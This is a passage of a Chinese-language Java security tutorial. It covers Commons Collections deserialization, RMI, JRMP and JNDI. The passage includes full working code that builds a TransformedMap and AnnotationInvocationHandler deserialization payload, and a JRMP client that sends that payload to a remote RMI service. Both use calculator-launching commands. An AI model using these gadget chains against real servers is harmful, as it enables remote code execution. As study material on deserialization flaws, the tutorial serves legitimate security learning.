}
public Object transform(Object input) {
this.iClosure.execute(input);
return input;
}
public Closure getClosure() {
return this.iClosure;
}
}
通过ConstantTransformer
类的transform
方法获取一个对象类型,如transform
参数是Runtime.class
时,调用ConstantTransformer
类的transform
方法,执行后返回java.lang.Runtime
类
InvokerTransformer
在Collections
中提供了一个非常重要的类
org.apache.commons.collections.functors.InvokerTransformer
这个类实现的是,java.io.Serializble
接口,2015年有研究者发现InvokerTransformer
类的transform
方法可以实现Java反序列化RCE
。
InvokerTransformer
类实现了org.apache.commons.collections.Transformer
接口,同时,Transformer
提供了一个对象转换方法transform
,主要用于将输入对象转化为输出对象。InvokerTransformer
类的主要作用就是利用java反射机制
来创建类实例
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
// 获取输入类的类对象
Class cls = input.getClass();
// 通过输入的方法名和方法参数,获取指定的反射方法对象
Method method = cls.getMethod(iMethodName, iParamTypes);
// 反射调用指定的方法并返回方法调用结果
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 省去异常处理部分代码
}
}
使用InvokerTransformer
实现调用本地命令方法
package demo;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class test {
public static void main(String[] args) {
//定义需要执行的本地命令
String cmd="calc.exe";
//构建Transformer对象
InvokerTransformer transformer = new InvokerTransformer(
"exec",new Class[]{String.class},new Object[]{cmd}
);
transformer.transform(Runtime.getRuntime());
}
}
上述实例演示了通过InvokerTransformer
的反射机制来调用java.lang.Runtime
来实现命令执行,但在真实的漏洞利用场景我们是没法在调用transformer.transform
的时候直接传入Runtime.getRuntime()
对象的。
ChainedTransformer
org.apache.commons.collections.functors.ChainedTransformer
类实现了Transformer
链式调用,我们只需要传入一个Transformer
数组ChainedTransformer
就可以实现依次的去调用每一个Transformer
的transform
方法。
//ChainedTransformer.java:
public class ChainedTransformer implements Transformer, Serializable {
/** The transformers to call in turn */
private final Transformer[] iTransformers;
// 省去多余的方法和变量
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
使用ChainedTransformer
实现调用本地命令的方法
package demo;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class test02 {
public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执行对象转换操作
transformedChain.transform(null);
};}
InvokerTransformer利用链
现在我们已经使用InvokerTransformer
创建了一个含有恶意调用链的Transformer
类的Map对象,紧接着我们应该思考如何才能够将调用链窜起来并执行。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
// 省去实现代码
}
只要调用TransformedMap
的setValue/put/putAll
中的任意方法都会调用InvokerTransformer
类的transform
方法,从而也就会触发命令执行
使用TransformedMap
类的setValue触发transform示例
package demo;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test03 {
public static void main(String[] args) {
String cmd = "calc.exe";
// 此处省去创建transformers过程,参考上面的demo
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.transformingMap(map, null, transformedChain);
// transformedMap.put("v1", "v2");// 执行put也会触发transform
// 遍历Map元素,并调用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}
System.out.println(transformedMap);
}
}
上述代码向我们展示了只要在java的API中的任何一个类实现了java,io,Serializable
接口,并且可以传入我们构建的TransformerMap
对象,还可以传入构建的TransformeMap
对象,还需要有调用TransformedMap中的SetValue/put/putAll
中的任意方法的类,我们就可以在Java
反序列化的时候触发InvokerTransformer
类的transform
方法实现RCE
AnnotationInvocationHandler
package sun.reflect.annotation;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
// 省去代码部分
}
// Java动态代理的invoke方法
public Object invoke(Object var1, Method var2, Object[] var3) {
// 省去代码部分
}
private void readObject(ObjectInputStream var1) {
// 省去代码部分
}
}
创建AnnotationInvocationHandler对象
因为sun.reflect.annotation.AnnotationInvocationHandler
是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler
类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler
对象:
// 创建Map对象
Map map = new HashMap();
// map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名,比如创建
// AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target,那么map
// 的key必须是@Target注解中的方法名,即:value,否则在反序列化AnnotationInvocationHandler
// 类调用其自身实现的readObject方法时无法通过if判断也就无法通过调用到setValue方法了。
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
instance
对象就是我们最终用于序列化的AnnotationInvocationHandler
对象,我们只需要将这个instance
序列化后就可以得到用于攻击的payload
了。
搬上大佬的例子
package com.anbai.sec.serializes;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
* Creator: yz
* Date: 2019/12/16
*/
public class CommonsCollectionsTest {
public static void main(String[] args) {
String cmd = "open -a Calculator.app";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// // 遍历Map元素,并调用setValue方法
// for (Object obj : transformedMap.entrySet()) {
// Map.Entry entry = (Map.Entry) obj;
//
// // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
// entry.setValue("test");
// }
//
transformedMap.put("v1", "v2");// 执行put也会触发transform
try {
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();
// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();
// 输出序列化的二进制数组
System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);
// 模拟远程的反序列化过程
in.readObject();
// 关闭ObjectInputStream输入流
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
反序列化RCE
调用链如下:
ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()
RMI
RMI(Remote Method Invocation)
即Java
远程方法调用,RMI
用于构建分布式应用程序,RMI
实现了Java
程序之间跨JVM
的远程通信。
RMI
底层通讯采用了Stub(运行在客户端)
和Skeleton(运行在服务端)
机制,RMI
调用远程方法的大致如下:
RMI客户端
在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
。Stub
会将Remote
对象传递给远程引用层(java.rmi.server.RemoteRef)
并创建java.rmi.server.RemoteCall(远程调用)
对象。RemoteCall
序列化RMI服务名称
、Remote
对象。RMI客户端
的远程引用层
传输RemoteCall
序列化后的请求信息通过Socket
连接的方式传输到RMI服务端
的远程引用层
。RMI服务端
的远程引用层(sun.rmi.server.UnicastServerRef)
收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
。Skeleton
调用RemoteCall
反序列化RMI客户端
传过来的序列化。Skeleton
处理客户端请求:bind
、list
、lookup
、rebind
、unbind
,如果是lookup
则查找RMI服务名
绑定的接口对象,序列化该对象并通过RemoteCall
传输到客户端。RMI客户端
反序列化服务端结果,获取远程对象的引用。RMI客户端
调用远程方法,RMI服务端
反射调用RMI服务实现类
的对应方法并序列化执行结果返回给客户端。RMI客户端
反序列化RMI
远程方法调用结果。
RMI的Demo
这里以数学加减法的demo为例子
首先,定义一个接口IRemoteMath
,用于后续实现服务器端的方法
package javaRMIPath;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* 必须继承Remote接口。
* 所有参数和返回类型必须序列化(因为要网络传输)。
* 任意远程对象都必须实现此接口。
* 只有远程接口中指定的方法可以被调用。
*/
public interface IRemoteMath extends Remote {
// 所有方法必须抛出RemoteException
public double add(double a, double b) throws RemoteException;
public double subtract(double a, double b) throws RemoteException;
}
然后,继承UnicastRemoteObject
类,实现刚刚定义的接口
package javaRMIPath;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
/**
* 服务器端实现远程接口。
* 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。
*/
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {
private int numberOfComputations;
protected RemoteMath() throws RemoteException {
numberOfComputations = 0;
}
@Override
public double add(double a, double b) throws RemoteException {
numberOfComputations++;
System.out.println("Number of computations performed so far = "
+ numberOfComputations);
return (a+b);
}
@Override
public double subtract(double a, double b) throws RemoteException {
numberOfComputations++;
System.out.println("Number of computations performed so far = "
+ numberOfComputations);
return (a-b);
}
}
然后定义一个服务端 RMIServer RMIServer
package javaRMIPath;
import javaRMIPath.IRemoteMath;
import javaRMIPath.RemoteMath;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* 创建RemoteMath类的实例并在rmiregistry中注册。
*/
public class RMIServer {
public static void main(String[] args) {
try {
// 注册远程对象,向客户端提供远程对象服务。
// 远程对象是在远程服务上创建的,你无法确切地知道远程服务器上的对象的名称,
// 但是,将远程对象注册到RMI Registry之后,
// 客户端就可以通过RMI Registry请求到该远程服务对象的stub,
// 利用stub代理就可以访问远程服务对象了。
IRemoteMath remoteMath = new RemoteMath();
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
registry.bind("Compute", remoteMath);
System.out.println("Math server ready");
// 如果不想再让该对象被继续调用,使用下面一行
// UnicastRemoteObject.unexportObject(remoteMath, false);
} catch (Exception e) {
e.printStackTrace();
}
}
}
最后定义一个客户端MathClient
package javaRMIPath;
import javaRMIPath.IRemoteMath;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class MathClient {
public static void main(String[] args) {
try {
// 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:1099/hello
// 否则,URL就是:rmi://RMIService_IP:1099/hello
Registry registry = LocateRegistry.getRegistry("localhost");
// 从Registry中检索远程对象的存根/代理
IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");
// 调用远程对象的方法
double addResult = remoteMath.add(5.0, 3.0);
System.out.println("5.0 + 3.0 = " + addResult);
double subResult = remoteMath.subtract(5.0, 3.0);
System.out.println("5.0 - 3.0 = " + subResult);
}catch(Exception e) {
e.printStackTrace();
}
}
}
最终实现效果是这样的
RMI反序列化漏洞
我们通过上面可以知道,RMI
通信中所有的对象都是java
序列化传输的,说明可能存在漏洞
既然RMI
使用了反序列化机制来传输Remote
对象,那么可以通过构建一个恶意的Remote
对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。
出于安全原因,禁用了对org.apache.commons.collections.functors.InvokerTransformer的序列化支持。要启用它,请将系统属性“org.apache.commons.collections.enableUnsafeSerialization”设置为“true”,但您必须确保您的应用程序不会反序列化来自不受信任的源的对象
经查找资料,将Apache Commons Collections升级到3.2.2以后,为了安全考虑,就默认关掉了,需要我们手动去更改JVM的属性从而开启。
具体方法:https://www.coder.work/article/4724891
但这样的话,条件就比较苛刻了,一般没人会这么开启的。建议能找到3.1版本的就使用3.1版本的。
执行流程如下所示
-
使用
LocateRegistry.getRegistry(host, port)
创建一个RemoteStub
对象。 - 构建一个适用于
Apache Commons Collections
的恶意反序列化对象(使用的是LazyMap
+AnnotationInvocationHandler
组合方式)。 - 使用
RemoteStub
调用RMI服务端
的bind
指令,并传入一个使用动态代理创建出来的Remote
类型的恶意AnnotationInvocationHandler
对象到RMI服务端
。 RMI服务端
接受到bind
请求后会反序列化我们构建的恶意Remote对象
从而触发Apache Commons Collections
漏洞的RCE
RMI-JRMP反序列化漏洞
JRMP
接口的两种常见方式
JRMP协议
,(Java Remote Message Protocol),是RMI专用的java远程消息交换协议
IIOP协议
(Internet Inter-ORB Protocol),基于CORBA
实现的对象请求代理协议。
CORBA(Common ObjectRequest Broker Architecture公共对象请求代理体系结构)
由于RMI
数据通信大量的使用了java
对象的反序列化,所以,在使用RMI客户端
去攻击RMI服务端
的时候,也要特别小心,如果本地RMI客户端
刚好符合被反序列化攻击的条件,那么RMI服务端
返回一个恶意的反序列化攻击包可能导致我们被反向攻击。
我们可以通过和RMI服务
端建立Socket
连接并使用RMI
的JRMP
协议发送恶意的序列化包,RMI服务端
在处理JRMP
消息时会反序列化消息对象,从而实现RCE
。
JRMP客户端反序列化攻击的示例代码
package com.anbai.sec.rmi;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
/**
* 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,
* 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
*/
public class JRMPExploit {
public static void main(String[] args) throws IOException {
if (args.length == 0) {
// 如果不指定连接参数默认连接本地RMI服务
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
}
// 远程RMI服务IP
final String host = args[0];
// 远程RMI服务端口
final int port = Integer.parseInt(args[1]);
// 需要执行的系统命令
final String command = args[2];
// Socket连接对象
Socket socket = null;
// Socket输出流
OutputStream out = null;
try {
// 创建恶意的Payload对象
Object payloadObject = RMIExploit.genPayload(command);
// 建立和远程RMI服务的Socket连接
socket = new Socket(host, port);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
// 获取Socket的输出流对象
out = socket.getOutputStream();
// 将Socket的输出流转换成DataOutputStream对象
DataOutputStream dos = new DataOutputStream(out);
// 创建MarshalOutputStream对象
ObjectOutputStream baos = new MarshalOutputStream(dos);
// 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
dos.writeInt(TransportConstants.Magic);// 魔数
dos.writeShort(TransportConstants.Version);// 版本
dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
dos.write(TransportConstants.Call);// RMI调用指令
baos.writeLong(2); // DGC
baos.writeInt(0);
baos.writeLong(0);
baos.writeShort(0);
baos.writeInt(1); // dirty
baos.writeLong(-669196253586618813L);// 接口Hash值
// 写入恶意的序列化对象
baos.writeObject(payloadObject);
dos.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭Socket输出流
if (out != null) {
out.close();
}
// 关闭Socket连接
if (socket != null) {
socket.close();
}
}
}
}
JNDI
JNDI(Java Naming and Directory Interface)
是Java提供的Java 命名和目录接口
。通过调用JNDI
的API
应用程序可以定位资源和其他程序对象。JNDI
是Java EE
的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)
,JNDI
可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。
- Naming Service 命名服务:
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
- Directory Service 目录服务
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象有属性,目录服务中的对象称为目录对象,目录服务提供创建,添加,删除目录对象以及修改目录对象中的属性
- Reference引用
在一些命名服务系统中,系统并不是直接将对象储存在系统中,而是保持对对象的引用,引用包含了如何对对象进行实际的访问
JNDI目录服务
访问JNDI目录服务时,会预先设置好环境变量访问对应的服务,如果创建JNDI
上下文(Context)
时,未指定环境变量
,JNDI
对自动搜索系统属性(System.getProperty()), applet参数 和 应用程序资源文件
(jndi.properties)
使用JNDI创建目录服务对象代码 片段
//创建环境变量对象
Hashtable env = new Hashtable();
//设置JNDI初始化工厂类名
env.put(Content.INITIAL_CONTEXT_FACTORY,"类名");
//设置JNDI提供服务恶的URL地址
env.put(Content.PROVIDER_RUL,"url");
//创建JNDI目录服务对象
DirContext Context = new InitialDirContext(env);
Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)
指的是JNDI
服务处理的具体类名称,如:DNS
服务可以使用com.sun.jndi.dns.DnsContextFactory
类来处理,JNDI
上下文工厂类必须实现javax.naming.spi.InitialContextFactory
接口,通过重写getInitialContext
方法来创建服务
javax.naming.spi.InitialContextFactory:
package javax.naming.spi;
public interface InitialContextFactory {
public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;
}
JNDI-DNS解析
使用JNDI去解析DNS测试
package com.anbai.sec.jndi;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
/**
* Creator: yz
* Date: 2019/12/23
*/
public class DNSContextFactoryTest {
public static void main(String[] args) {
// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
// 设置JNDI提供服务的URL地址,这里可以设置解析的DNS服务器地址
env.put(Context.PROVIDER_URL, "dns://223.6.6.6/");
try {
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
// 获取DNS解析记录测试
Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});
System.out.println(attrs1);
System.out.println(attrs2);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
JNDI远程方法调用(未成功)
RMI
的服务处理工厂类是com.sun.jndi.rmi.registry.RegistryContextFactory
,在调用远程的RMI方法之前需要先启动RMI
服务,启动完成以后就可以使用JNDI
链接并进行调用了
package com.anbai.sec.jndi;
import com.anbai.sec.rmi.RMITestInterface;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.RemoteException;
import java.util.Hashtable;
import static com.anbai.sec.rmi.RMIServerTest.*;
/**
* Creator: yz
* Date: 2019/12/24
*/
public class RMIRegistryContextFactoryTest {
public static void main(String[] args) {
String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;
// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, providerURL);
// 通过JNDI调用远程RMI方法测试,等同于com.anbai.sec.rmi.RMIClientTest类的Demo
try {
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
// 通过命名服务查找远程RMI绑定的RMITestInterface对象
RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);
// 调用远程的RMITestInterface接口的test方法
String result = testInterface.test();
System.out.println(result);
} catch (NamingException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
JNDI-LDAP
LDAP
的服务处理,工厂类是com.sun.jndi.ldap.LdapCtxFactory
,连接之前需要配置好远程的LDAP
服务
import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class tEST {
public static void main(String[] args) {
try {
// 设置用户LDAP登陆用户DN
String userDN = "cn=Manager,dc=javaweb,dc=org";
// 设置登陆用户密码
String password = "123456";
// 创建环境变量对象
Hashtable<String, Object> env = new Hashtable<String, Object>();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "ldap://localhost:389");
// 设置安全认证方式
env.put(Context.SECURITY_AUTHENTICATION, "simple");
// 设置用户信息
env.put(Context.SECURITY_PRINCIPAL, userDN);
// 设置用户密码
env.put(Context.SECURITY_CREDENTIALS, password);
// 创建LDAP连接
DirContext ctx = new InitialDirContext(env);
// 使用ctx可以查询或存储数据,此处省去业务代码
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}